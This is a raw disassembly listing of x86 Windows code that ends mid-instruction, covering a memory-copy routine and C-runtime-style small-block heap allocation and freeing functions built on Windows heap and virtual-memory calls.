sub_402FD0+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4030E0: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4030E8: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4030F0: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4030F8: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_403100: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_403113: ; CODE XREF: sub_402FD0:loc_40302Cj ; DATA XREF: sub_402FD0:off_4030B0o jmp ds:off_40311C[edx*4] ; --------------------------------------------------------------------------- align 4 off_40311C dd offset loc_40312C ; DATA XREF: sub_402FD0+35r ; sub_402FD0+92r ... dd offset loc_403134 dd offset loc_403140 dd offset loc_403154 ; --------------------------------------------------------------------------- loc_40312C: ; CODE XREF: sub_402FD0+35j ; sub_402FD0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403134: ; CODE XREF: sub_402FD0+35j ; sub_402FD0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_403140: ; CODE XREF: sub_402FD0+35j ; sub_402FD0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_403154: ; CODE XREF: sub_402FD0+35j ; sub_402FD0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40316C: ; CODE XREF: sub_402FD0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4031A0 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_403194 std rep movsd cld jmp ds:off_4032B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_403194: ; CODE XREF: sub_402FD0+1B5j ; sub_402FD0+210j ... neg ecx jmp dword ptr ds:loc_403268[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_4031A0: ; CODE XREF: sub_402FD0+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4031B8 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_4031B8+4[eax*4] ; --------------------------------------------------------------------------- loc_4031B8: ; CODE XREF: sub_402FD0+1DAj ; DATA XREF: sub_402FD0+1E1r jmp ds:off_4032B8[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_4031CB+1 dd offset loc_4031F0 ; --------------------------------------------------------------------------- sbb [edx], dh inc eax loc_4031CB: ; DATA XREF: sub_402FD0+1F0o add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_403194 std rep movsd cld jmp ds:off_4032B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4031F0: ; DATA XREF: sub_402FD0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_403194 std rep movsd cld jmp ds:off_4032B8[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_403194 std rep movsd cld jmp ds:off_4032B8[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40326C dd offset loc_403274 dd offset loc_40327C dd offset loc_403284 dd offset loc_40328C ; --------------------------------------------------------------------------- xchg eax, esp xor al, [eax+0] pushf xor al, [eax+0] loc_403268: ; DATA XREF: sub_402FD0+1C6r scasd xor al, [eax+0] loc_40326C: ; DATA XREF: sub_402FD0+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_403274: ; DATA XREF: sub_402FD0+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40327C: ; DATA XREF: sub_402FD0+284o mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_403284: ; DATA XREF: sub_402FD0+288o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40328C: ; DATA XREF: sub_402FD0+28Co mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4032AF: ; CODE XREF: sub_402FD0+1C6j jmp ds:off_4032B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4032B8 dd offset loc_4032C8 ; DATA XREF: sub_402FD0+1BBr ; sub_402FD0:loc_4031B8r ... dd offset loc_4032D0 dd offset loc_4032E0 dd offset loc_4032F4 ; --------------------------------------------------------------------------- loc_4032C8: ; CODE XREF: sub_402FD0+1BBj ; sub_402FD0:loc_4031B8j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4032D0: ; CODE XREF: sub_402FD0+1BBj ; sub_402FD0:loc_4031B8j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4032E0: ; CODE XREF: sub_402FD0+1BBj ; sub_402FD0:loc_4031B8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4032F4: ; CODE XREF: sub_402FD0+1BBj ; sub_402FD0:loc_4031B8j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_402FD0 endp ; =============== S U B R O U T I N E ======================================= sub_40330D proc near ; CODE XREF: sub_4022BE+34p arg_0 = dword ptr 4 push 140h push 0 push dword_407700 call ds:dword_4050C8 ; RtlAllocateHeap test eax, eax mov dword_4074B0, eax jnz short loc_40332A retn ; --------------------------------------------------------------------------- loc_40332A: ; CODE XREF: sub_40330D+1Aj mov ecx, [esp+arg_0] and dword_4074A8, 0 and dword_4074AC, 0 mov dword_4074B8, eax xor eax, eax mov dword_4074B4, ecx mov dword_4074BC, 10h inc eax retn sub_40330D endp ; =============== S U B R O U T I N E ======================================= sub_403355 proc near ; CODE XREF: sub_402F0B+13p ; sub_403E30+48p ... arg_0 = dword ptr 4 mov eax, dword_4074AC lea ecx, [eax+eax*4] mov eax, dword_4074B0 lea ecx, [eax+ecx*4] jmp short loc_403379 ; --------------------------------------------------------------------------- loc_403367: ; CODE XREF: sub_403355+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_40337F add eax, 14h loc_403379: ; CODE XREF: sub_403355+10j cmp eax, ecx jb short loc_403367 xor eax, eax locret_40337F: ; CODE XREF: sub_403355+1Fj retn sub_403355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403380 proc near ; CODE XREF: sub_402F0B+1Fp ; sub_403E30+9Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_403694 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_40344B sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4033E3 push 3Fh pop edx loc_4033E3: ; CODE XREF: sub_403380+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40342D cmp edx, 20h mov ebx, 80000000h jnb short loc_40340E mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_40342A mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40342A ; --------------------------------------------------------------------------- loc_40340E: ; CODE XREF: sub_403380+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40342A mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40342A: ; CODE XREF: sub_403380+85j ; sub_403380+8Cj ... mov ebx, [ebp+arg_4] loc_40342D: ; CODE XREF: sub_403380+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_40344B: ; CODE XREF: sub_403380+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_403459 push 3Fh pop edx loc_403459: ; CODE XREF: sub_403380+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_4034F7 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_40347E mov ebx, esi loc_40347E: ; CODE XREF: sub_403380+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_403490 mov edx, esi loc_403490: ; CODE XREF: sub_403380+10Cj cmp ebx, edx jz short loc_4034F2 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_4034DA cmp ebx, 20h mov esi, 80000000h jnb short loc_4034C0 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_4034DA mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_4034DA ; --------------------------------------------------------------------------- loc_4034C0: ; CODE XREF: sub_403380+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_4034DA mov ecx, [ebp+arg_0] and [ecx+4], esi loc_4034DA: ; CODE XREF: sub_403380+11Dj ; sub_403380+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_4034F2: ; CODE XREF: sub_403380+112j mov esi, [ebp+arg_4] jmp short loc_4034FA ; --------------------------------------------------------------------------- loc_4034F7: ; CODE XREF: sub_403380+E2j mov ebx, [ebp+arg_0] loc_4034FA: ; CODE XREF: sub_403380+175j cmp [ebp+var_C], 0 jnz short loc_403508 cmp ebx, edx jz loc_403588 loc_403508: ; CODE XREF: sub_403380+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_403588 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_40355F cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40354E mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40354E: ; CODE XREF: sub_403380+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_403588 ; --------------------------------------------------------------------------- loc_40355F: ; CODE XREF: sub_403380+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403575 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_403575: ; CODE XREF: sub_403380+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_403588: ; CODE XREF: sub_403380+182j ; sub_403380+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_403693 mov eax, dword_4074A8 test eax, eax jz loc_403685 mov ecx, dword_4074C0 mov esi, ds:dword_4050A8 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4074C0 mov eax, dword_4074A8 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4074A8 mov eax, [eax+10h] mov ecx, dword_4074C0 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4074A8 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4074A8 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_403616 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4074A8 loc_403616: ; CODE XREF: sub_403380+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_403685 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4074A8 push dword ptr [eax+10h] push 0 push dword_407700 call ds:dword_4050AC ; RtlFreeHeap mov eax, dword_4074AC mov edx, dword_4074B0 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4074A8 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404560 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4074AC cmp eax, dword_4074A8 jbe short loc_40367B sub [ebp+arg_0], 14h loc_40367B: ; CODE XREF: sub_403380+2F5j mov eax, dword_4074B0 mov dword_4074B8, eax loc_403685: ; CODE XREF: sub_403380+223j ; sub_403380+29Aj mov eax, [ebp+arg_0] mov dword_4074A8, eax mov dword_4074C0, edi loc_403693: ; CODE XREF: sub_403380+216j pop ebx loc_403694: ; CODE XREF: sub_403380+37j pop edi pop esi leave retn sub_403380 endp ; =============== S U B R O U T I N E ======================================= sub_403698 proc near ; CODE XREF: sub_403B34+150p mov eax, dword_4074AC mov ecx, dword_4074BC push edi xor edi, edi cmp eax, ecx jnz short loc_4036DE lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4074B0 push edi push dword_407700 call ds:dword_4050D0 ; RtlReAllocateHeap cmp eax, edi jnz short loc_4036CD xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4036CD: ; CODE XREF: sub_403698+2Fj add dword_4074BC, 10h mov dword_4074B0, eax mov eax, dword_4074AC loc_4036DE: ; CODE XREF: sub_403698+10j mov ecx, dword_4074B0 push esi push 41C4h push 8 push dword_407700 lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_4050C8 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_403709 loc_403705: ; CODE XREF: sub_403698+9Bj xor eax, eax jmp short loc_40374C ; --------------------------------------------------------------------------- loc_403709: ; CODE XREF: sub_403698+6Bj push 4 push 2000h push 100000h push edi call ds:dword_4050CC ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_403735 push dword ptr [esi+10h] push edi push dword_407700 call ds:dword_4050AC ; RtlFreeHeap jmp short loc_403705 ; --------------------------------------------------------------------------- loc_403735: ; CODE XREF: sub_403698+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4074AC mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_40374C: ; CODE XREF: sub_403698+6Fj pop esi pop edi retn sub_403698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40374F proc near ; CODE XREF: sub_403B34+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_403767 ; --------------------------------------------------------------------------- loc_403764: ; CODE XREF: sub_40374F+1Aj shl eax, 1 inc ebx loc_403767: ; CODE XREF: sub_40374F+13j test eax, eax jge short loc_403764 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_403780: ; CODE XREF: sub_40374F+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_403780 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_4050CC ; VirtualAlloc test eax, eax jnz short loc_4037B3 or eax, 0FFFFFFFFh jmp loc_403850 ; --------------------------------------------------------------------------- loc_4037B3: ; CODE XREF: sub_40374F+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_403803 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_4037CB: ; CODE XREF: sub_40374F+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_4037CB mov edx, [ebp+var_4] loc_403803: ; CODE XREF: sub_40374F+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_403840 or [eax+4], edi loc_403840: ; CODE XREF: sub_40374F+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_403850: ; CODE XREF: sub_40374F+5Fj pop edi pop esi pop ebx leave retn sub_40374F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403855 proc near ; CODE XREF: sub_403E30+63p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_4039F7 test bl, 1 jnz loc_4039F0 add ebx, ecx cmp esi, ebx jg loc_4039F0 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_4038CA push 3Fh pop ecx mov [ebp+var_8], ecx loc_4038CA: ; CODE XREF: sub_403855+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_403915 cmp ecx, 20h mov ebx, 80000000h jnb short loc_4038F6 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_403915 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403915 ; --------------------------------------------------------------------------- loc_4038F6: ; CODE XREF: sub_403855+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403915 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403915: ; CODE XREF: sub_403855+7Bj ; sub_403855+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_4039DE mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_40394F push 3Fh pop edi loc_40394F: ; CODE XREF: sub_403855+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_4039CC mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_4039A3 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40399B mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40399B: ; CODE XREF: sub_403855+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_4039C3 ; --------------------------------------------------------------------------- loc_4039A3: ; CODE XREF: sub_403855+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4039B9 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4039B9: ; CODE XREF: sub_403855+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_4039C3: ; CODE XREF: sub_403855+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_4039CC: ; CODE XREF: sub_403855+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4039E1 ; --------------------------------------------------------------------------- loc_4039DE: ; CODE XREF: sub_403855+DEj mov edx, [ebp+arg_4] loc_4039E1: ; CODE XREF: sub_403855+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_403B2C ; --------------------------------------------------------------------------- loc_4039F0: ; CODE XREF: sub_403855+50j ; sub_403855+5Aj xor eax, eax jmp loc_403B2F ; --------------------------------------------------------------------------- loc_4039F7: ; CODE XREF: sub_403855+47j jge loc_403B2C mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_403A22 push 3Fh pop esi loc_403A22: ; CODE XREF: sub_403855+1C8j test byte ptr [ebp+var_4], 1 jnz loc_403AAC mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_403A3B push 3Fh pop esi loc_403A3B: ; CODE XREF: sub_403855+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_403A85 cmp esi, 20h mov ebx, 80000000h jnb short loc_403A66 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_403A82 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403A82 ; --------------------------------------------------------------------------- loc_403A66: ; CODE XREF: sub_403855+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403A82 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403A82: ; CODE XREF: sub_403855+208j ; sub_403855+20Fj ... mov ebx, [ebp+arg_4] loc_403A85: ; CODE XREF: sub_403855+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_403AAC push 3Fh pop esi loc_403AAC: ; CODE XREF: sub_403855+1D1j ; sub_403855+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_403B23 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_403AFA cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403AF2 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_403AF2: ; CODE XREF: sub_403855+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_403B1A ; --------------------------------------------------------------------------- loc_403AFA: ; CODE XREF: sub_403855+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403B10 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_403B10: ; CODE XREF: sub_403855+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_403B1A: ; CODE XREF: sub_403855+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_403B23: ; CODE XREF: sub_403855+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_403B2C: ; CODE XREF: sub_403855+196j ; sub_403855:loc_4039F7j xor eax, eax inc eax loc_403B2F: ; CODE XREF: sub_403855+19Dj pop edi pop esi pop ebx leave retn sub_403855 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B34 proc near ; CODE XREF: sub_402F43+17p ; sub_403E30+74p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, dword_4074AC mov edx, dword_4074B0 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_403B71 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_403B7E ; --------------------------------------------------------------------------- loc_403B71: ; CODE XREF: sub_403B34+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_403B7E: ; CODE XREF: sub_403B34+3Bj mov eax, dword_4074B8 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_403BA0 ; --------------------------------------------------------------------------- loc_403B8C: ; CODE XREF: sub_403B34+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_403BA5 add ebx, 14h cmp ebx, [ebp+var_4] loc_403BA0: ; CODE XREF: sub_403B34+56j mov [ebp+arg_0], ebx jb short loc_403B8C loc_403BA5: ; CODE XREF: sub_403B34+64j cmp ebx, [ebp+var_4] jnz short loc_403BCE mov ebx, edx jmp short loc_403BBF ; --------------------------------------------------------------------------- loc_403BAE: ; CODE XREF: sub_403B34+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_403BC6 add ebx, 14h loc_403BBF: ; CODE XREF: sub_403B34+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_403BAE loc_403BC6: ; CODE XREF: sub_403B34+86j cmp ebx, eax jz loc_403C62 loc_403BCE: ; CODE XREF: sub_403B34+74j ; sub_403B34+170j mov dword_4074B8, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_403BF5 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_403C2B loc_403BF5: ; CODE XREF: sub_403B34+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_403C28 loc_403C11: ; CODE XREF: sub_403B34+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and 